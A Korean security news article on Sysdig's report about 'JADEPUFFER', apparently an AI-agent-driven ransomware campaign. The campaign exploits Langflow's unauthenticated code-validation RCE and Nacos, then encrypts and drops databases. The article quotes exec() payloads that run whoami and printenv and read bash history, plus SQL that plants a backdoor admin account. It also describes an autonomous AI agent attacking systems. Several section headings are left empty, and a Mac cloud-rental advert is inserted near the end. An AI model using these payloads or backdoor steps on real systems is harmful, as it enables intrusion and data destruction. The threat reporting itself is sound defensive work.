결론부터 말씀드리면, Sysdig는 JADEPUFFER를 Agentic Threat Actor(ATA, 에이전트형 위협 행위자)로 정의했습니다. 공격 역량이 AI Agent에 의해 제공되며, 기존 「사람이 조작하는 도구 모음」과는 질적으로 다릅니다. 보고서에서 공식 제시된 새 분류입니다.

타임라인:

원인 단계별 분해: 이 API는 사용자 정의 함수 노드 구문 검증용이며 구현은 ast.parse() → compile() → exec()입니다. 인증과 샌드박스가 없습니다. Python에서 함수 정의 시 데코레이터와 기본 인자가 정의 순간 즉시 평가됩니다. 공격자는 악성 코드를 기본 인자에 넣고 Langflow가 「합법성 검사」를 할 때 서버에서 이미 실행——로그인 불필요, HTTP POST 한 방 RCE입니다.

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')

Trend Micro는 Flodrix 봇넷 추적에서 위 전형적 payload를 기록했습니다(별도 파의 독립 악용). 최종 단계에서 700바이트 Bash 스크립트가 Flodrix ELF 바이너리를 받아 TCP/UDP 이중 DDoS 봇넷을 구성합니다.

패치 분석: Langflow 1.3.0은 post_validate_code에 _current_user: CurrentActiveUser 의존성 주입을 추가합니다. FastAPI가 JWT Bearer 또는 x-api-key를 먼저 검증하고 실패 시 401/403으로 취약 로직에 도달하지 않습니다.

Phase 1 — Langflow 호스트 장악: 모든 payload는 Base64 인코딩 Python을 RCE 엔드포인트로 투입합니다.

Phase 2 — MySQL + Nacos 프로덕션 서버 돌파: Nacos는 알리바바 계열 마이크로서비스에서 널리 쓰입니다. CVE-2021-29441 인증 우회 이력이 있고 기본 JWT 서명 키는 2020년부터 문서 공개——많은 배포에서 미교체 상태입니다.

Nacos 백도어 관리자 주입——31초 자율 복구 루프(UTC 타임스탬프):

cur.execute('DELETE FROM users WHERE username="xadmin"')
hash_val = bcrypt.hashpw(b'admin123', bcrypt.gensalt(rounds=10)).decode()
cur.execute('INSERT INTO users (username, password, enabled) VALUES ("xadmin", "' + hash_val + '", 1)')
cur.execute('INSERT INTO roles (username, role) VALUES ("xadmin", "ROLE_ADMIN")')

컨테이너 탈출 프로브(약 8분): MySQL INTO OUTFILE / LOAD_FILE로 쓰기·읽기, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname 확인. mysql.func UDF 권한 상승 가능성도 검사합니다. 랜섬 전 _pwn_cleanup.txt 완료 마커 기록——Sysdig는 고정 스크립트보다 구조화 Agent의 「다음 단계 신호」로 분석합니다.

파괴적 암호화: 전체 1,342건 Nacos 설정을 AES_ENCRYPT()로 암호화, config_info와 his_config_info 삭제. 랜섬 테이블 README_RANSOM 생성. 키는 uuid4() 무작위 생성·stdout 한 번 출력·저장 없음——지불 후에도 복구 불가. 몸값 문서는 AES-256이라 하나 MySQL 기본은 실질 AES-128-ECB입니다.

대규모 파괴: ROI 우선 DROP DATABASE. 코드 주석에 「64.20.53[.]230으로 백업 완료」 자술——Sysdig는 독립 증거로 데이터 회수를 확인하지 않았습니다. 외래 키 제약으로 삭제 실패 시 다음 payload가 SET GLOBAL FOREIGN_KEY_CHECKS=0을 자동 추가——실패 원인을 이해한 수정입니다.

Sysdig 공식 방어 권고와 사건 IOC에 따라 팀은 즉시 다음을 실행할 수 있습니다:

Sysdig가 「LLM 구동」을 뒷받침하는 4가지 독립 증거:

업계 반응: BleepingComputer, Dark Reading 등은 「최초의 완전 AI 구동 랜섬」으로 보도했습니다. CSO Online은 레드팀 전문가 Vibhum Dubey 코멘트를 인용——암호화 전 「조용한 기간」이 더 우려되며 Agent가 ID 체계를 파악하고 탐지를 회피하는 동안 침입 양상은 매번 약간 다를 수 있습니다. 여러 매체는 LLMjacking을 언급——탈취 자격 증명으로 Agent를 구동하면 다단계 공격 한계 비용이 거의 0에 가까워집니다.

Sysdig 4점 결론: ① 랜섬 문턱이 「Agent 실행 비용」까지 하락; ② 오래된 CVE가 자동 무기화되어 「역사적 취약점 DB 전수」 비용이 거의 0; ③ LLM 자기 서사가 방어측에 가독 가능한 탐지면 제공; ④ 「백업 완료」는 Agent 코드 주석 자술로 미검증.

대안을 정리하면 공인터넷에 Langflow/Nacos를 노출한 Agent 시제는 API Key와 내부망 토폴로지를 스캐너에 넘기는 것과 같고, 로컬 노트북 7×24 자율 Agent는 아웃바운드 제어와 런타임 탐지가 어렵습니다. 가상화 macOS에서 Agent 오케스트레이션은 EULA 위반이며 Metal 성능도 제한됩니다. iOS CI/CD, 완전 root, 격리 테스트 환경, 7×24 안정성이 필요한 AI Agent 프로덕션과 레드팀 시뮬레이션에는 KVMNODE 전용 Mac Mini M4 클라우드 대여가 일반적으로 더 나은 선택입니다: 100% 물리 실기, sudo 개방, 일/주/월 유연 계약. Agent 워크플로를 프로덕션 네트워크와 격리된 감사 가능 환경에서 운영할 수 있습니다. JADEPUFFER는 기술 문턱이 Agent 실행 비용까지 내려갔다는 경고——방어측은 공인터넷 앱 서버, 미강화 구성 센터, 공인터넷 도달 가능 DB 관리자 계정을 최우선 공격면으로 봐야 합니다.

참고: Sysdig「JADEPUFFER: Agentic ransomware for automated database extortion」; BleepingComputer, Dark Reading, CyberScoop, CSO Online, Security Affairs; Trend Micro CVE-2025-3248 / Flodrix 분석; NVD, CISA KEV 카탈로그.